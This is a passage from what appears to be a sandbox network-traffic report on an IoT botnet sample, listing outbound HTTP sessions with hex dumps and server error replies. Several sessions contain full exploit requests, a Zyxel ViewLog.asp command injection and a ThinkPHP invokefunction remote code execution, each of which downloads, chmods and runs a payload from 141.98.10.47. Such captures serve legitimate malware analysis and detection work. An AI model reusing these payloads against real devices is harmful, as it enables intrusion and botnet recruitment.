76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	55296	95.183.78.115	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.887028933 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:01.174802065 CET	324	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 Date: Tue, 26 Dec 2023 20:23:01 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	36312	94.121.118.63	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.897248983 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	55414	95.101.68.122	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.897386074 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:01.183161020 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:23:01 GMT Date: Tue, 26 Dec 2023 20:23:01 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 35 66 63 31 34 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 31 38 31 26 23 34 36 3b 65 31 34 37 62 38 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.35fc1402.1703622181.e147b82</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	44280	95.86.115.228	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.897407055 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	43494	95.142.37.209	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.898173094 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:01.187527895 CET	354	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.2 Date: Tue, 26 Dec 2023 20:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Data Raw: 39 64 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 9d<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.2</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	46310	95.209.153.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.901844978 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:01.210349083 CET	227	IN	HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.1 Date: Tue, 26 Dec 2023 20:23:04 GMT Content-Type: text/html Content-Length: 78 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 46 6f 72 6b 65 72 74 20 70 61 72 61 6d 65 74 65 72 2e 20 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Error</title></head><body>Forkert parameter. </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	59628	95.215.160.108	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.929873943 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	50490	31.40.218.18	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:01.135571957 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:01.374507904 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 26 Dec 2023 20:23:01 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	42786	95.209.136.194	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:01.233072996 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:01.550158978 CET	509	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 26 Dec 2023 20:23:01 GMT Server: lighttpd Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	35930	95.100.170.68	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:01.529475927 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.592777014 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.940862894 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:02 GMT Date: Tue, 26 Dec 2023 20:23:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 34 61 61 36 34 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 31 38 32 26 23 34 36 3b 36 38 37 64 36 62 61 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.44aa645f.1703622182.687d6ba4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	52598	88.99.167.168	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:01.849360943 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.102018118 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:23:01 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	53006	95.179.206.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:02.080651999 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.308553934 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Tue, 26 Dec 2023 20:23:02 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	47610	95.101.10.102	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:02.105861902 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.359277964 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:02 GMT Date: Tue, 26 Dec 2023 20:23:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 36 30 61 36 35 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 31 38 32 26 23 34 36 3b 33 33 37 34 62 31 38 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.660a655f.1703622182.3374b18c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	35724	95.179.201.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:02.126990080 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.355194092 CET	371	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:02 GMT Content-Type: text/html Content-Length: 150 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	42496	95.100.69.122	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:02.139422894 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.384118080 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:02 GMT Date: Tue, 26 Dec 2023 20:23:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 63 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 33 36 32 32 31 38 32 26 23 34 36 3b 33 39 61 35 63 66 64 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.bc7a7b5c.1703622182.39a5cfda</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	45476	95.216.74.237	8080

